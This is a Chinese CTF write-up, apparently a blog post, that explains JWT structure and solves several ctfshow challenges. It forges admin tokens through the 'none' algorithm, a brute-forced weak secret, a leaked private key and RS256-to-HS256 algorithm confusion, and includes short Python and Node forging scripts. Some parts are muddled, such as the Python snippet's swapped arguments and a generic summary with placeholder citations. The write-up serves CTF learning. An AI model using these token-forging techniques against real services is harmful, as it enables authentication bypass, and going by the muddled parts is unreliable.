JWT解释以及ctfshow web345、web346、web347、web348、web349、web834题解

JWT格式:

Header.Payload.Signature
在这里插入图片描述

Header: {"alg": "HS256","typ": "JWT"} 
其中 alg:表示使用的算法默认是HS256 ,typ:表示token类型  
然后再用Base64URL 算法进行机密生成一串字符串

Payload: 也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
{
  iss (issuer):签发人
  exp (expiration time):过期时间
  sub (subject):主题
  aud (audience):受众
  nbf (Not Before):生效时间
  iat (Issued At):签发时间
  jti (JWT ID):编号
}
当然也可以在这一部分存储自己定义的端
Signature:这一部分就是 base64UrlEncode(header)+ base64UrlEncode(palyoad)+密钥
使用alg的算法进行加密

JWT原理:

在这里插入图片描述

web345

抓包访问/admin页面看到有这样一个内容,将这个内容进行base64解码

在这里插入图片描述

可以看到有前面两部分,在alg对应的是none就是没有加密方式

{"alg":"None","typ":"jwt"}?
  [{"iss":"admin","iat":1718866523,"exp":1718873723,"nbf":1718866523,"sub":"user","jti":"0212359dcd5afaabef646309ffb86792"}]

我们将内容复制进脚本里面

import jwt
payload = {"alg":"None","typ":"jwt"}
headers = {
  "iss":"admin","iat":1718865117,"exp":1718872317,"nbf":1718865117,"sub":"admin","jti":"503a4a179e5645e7be5c19a88450c618"
}
print(jwt.encode(payload, "", algorithm="HS256", headers=headers))

然后生成将生成的内容复制进/admin下的cookie里面
在这里插入图片描述

最终得到flag

web346、347、348

同理抓包
但是这次不同的是有了密钥加密所以后半部分无法解密,前两部分是明文base64加密,后部分是加密后的,所以无法正常解密
在这里插入图片描述

{“alg”:“HS256”,“typ”:“JWT”}
{“iss”:“admin”,“iat”:1718868269,“exp”:1718875469,“nbf”:1718868269,“sub”:“user”,“jti”:“f070150b78098e9f337a230ecac7d729”}
在这里插入图片描述

使用工具爆破出key是123456
然后我们使用脚本进行加密
在这里插入图片描述

修改提交即可
在这里插入图片描述

可以使用爆破,一般4位数字的可以爆破出来
在这里插入图片描述

可以尝试将加密算法改成none,只生成前两段

web349

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

这段代码是一个使用 Express 框架构建的 Node.js 应用程序,处理 GET 和 POST 请求,并使用 JSON Web Token (JWT) 进行身份验证。代码逻辑如下:

GET 请求处理

  1. 设置响应类型为 HTML:
res.type('html');
  1. 读取私钥:
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');

从文件系统读取存储在 public/private.key 的私钥。这将用于签署 JWT。

  1. 生成 JWT:
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

使用私钥签署一个 JWT,负载是 { user: 'user' },签名算法是 RS256(RSA SHA-256)。

  1. 设置 Cookie:
res.cookie('auth', token);

将生成的 JWT 设置为名为 auth 的 Cookie。

  1. 响应结束:
res.end('where is flag?');

发送响应并结束请求,响应内容是 'where is flag?'

POST 请求处理

  1. 设置响应类型为 HTML:
res.type('html');
  1. 获取存储的 flag:
var flag="flag_here";
  1. 获取 JWT:
var auth = req.cookies.auth;

从请求的 Cookies 中获取 auth JWT。

  1. 读取公钥:
var cert = fs.readFileSync(process.cwd()+'//public/public.key');

从文件系统读取存储在 public/public.key 的公钥。这将用于验证 JWT 的签名。

  1. 验证 JWT:
jwt.verify(auth, cert, function(err, decoded) {
  if(decoded.user==='admin'){
    res.end(flag);
  }else{
    res.end('you are not admin');
  }
});

使用公钥验证 JWT。如果验证成功且 decoded.user'admin',返回 flag。否则,返回 'you are not admin'

总结

  • GET 请求: 生成一个包含 { user: 'user' } 负载的 JWT,签署后存储在名为 auth 的 Cookie 中,并响应 'where is flag?'
  • POST 请求: 从请求的 Cookies 中读取 auth JWT,使用公钥验证它,如果 JWT 有效且 user 字段为 'admin',返回 flag;否则,返回 'you are not admin'

dirsearch 扫到文件

将私钥加载进去
在这里插入图片描述

将user改为admin,重新生成然后复制进去

在这里插入图片描述

web350

下载源码
在这里插入图片描述

观察到有解密算法,且解密代码中未提及算法。所以尝试更改算法为对称加密,将pubulic.key作为密钥

将RS256算法改为HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
创建test.js生成jwt

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

然后以post方式发包(带着jwt)
原文链接:https://blog.youkuaiyun.com/c1516175954/article/details/133095091
在这里插入图片描述

web834

在这里插入图片描述

打开操作页面,没有发现明显问题,尝试注册一个用户
尝试注册haha,密码为123456
尝试一下修改密码这个功能,在提交新密码的时候发现了问题,发现了jwt
在这里插入图片描述

爆破key,然后将haha改为admin
在这里插入图片描述

提示admin修改密码成功
在这里插入图片描述

密钥爆破仅针对与HS256
篡改算法只能是RS256->HS256

### CTFShow JWT 挑战解题思路 在处理涉及 JSON Web Token (JWT) 的安全挑战时,理解其工作原理至关重要。JWT 是一种用于在网络应用环境间传递声明的紧凑型、URL 安全的方法[^3]。 #### 了解 JWT 结构 JWT 主要由三个部分组成:头部(Header)、载荷(Payload)以及签名(Signature)。这三个部分通过点号连接成一个字符串形式表示。其中: - **头部** 包含令牌类型和所使用的算法。 - **载荷** 存储实际数据或元数据,通常称为 claims。 - **签名** 则是用来验证消息在此过程中未被篡改,并确认发送者身份的有效性。 对于某些 CTF 题目来说,可能会利用这些组件中的漏洞来实现攻击目的。 #### 常见攻击向量分析 1. **无密钥签名绕过** 如果服务器端配置不当,在 HMAC 算法下允许 `none` 类型作为合法选项,则可以构造一个带有此类型的 token 并使服务端接受它而无需任何有效负载加密[^4]。 2. **弱 RSA 密钥破解** 当使用非对称加密方式如 RS256 或 ES256 进行签名时,如果私钥泄露或者存在其他弱点,那么就有可能逆推出公钥并伪造新的 tokens[^5]。 3. **算法混淆攻击** 攻击者可能尝试改变 header 中指定的 alg 字段值,比如从 HS256 更改为 RS256 ,以此欺骗应用程序相信这是一个不同的认证机制下的 token 。然而这种做法只有当目标站点未能正确校验所提供的 public key 才会成功[^6]。 针对上述提到的各种可能性,在具体操作之前应当先收集有关于题目背景的信息,例如查看源码片段、API 文档等资源;接着基于已知条件设计合理的测试方案来进行调试直至找到突破口为止。 ```python import jwt secret = 'your_secret_key' token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adqssw5c" try: decoded_jwt = jwt.decode(token, secret, algorithms=["HS256"]) except Exception as e: print(f"Error decoding JWT: {str(e)}") else: print(decoded_jwt) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清风实验室

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值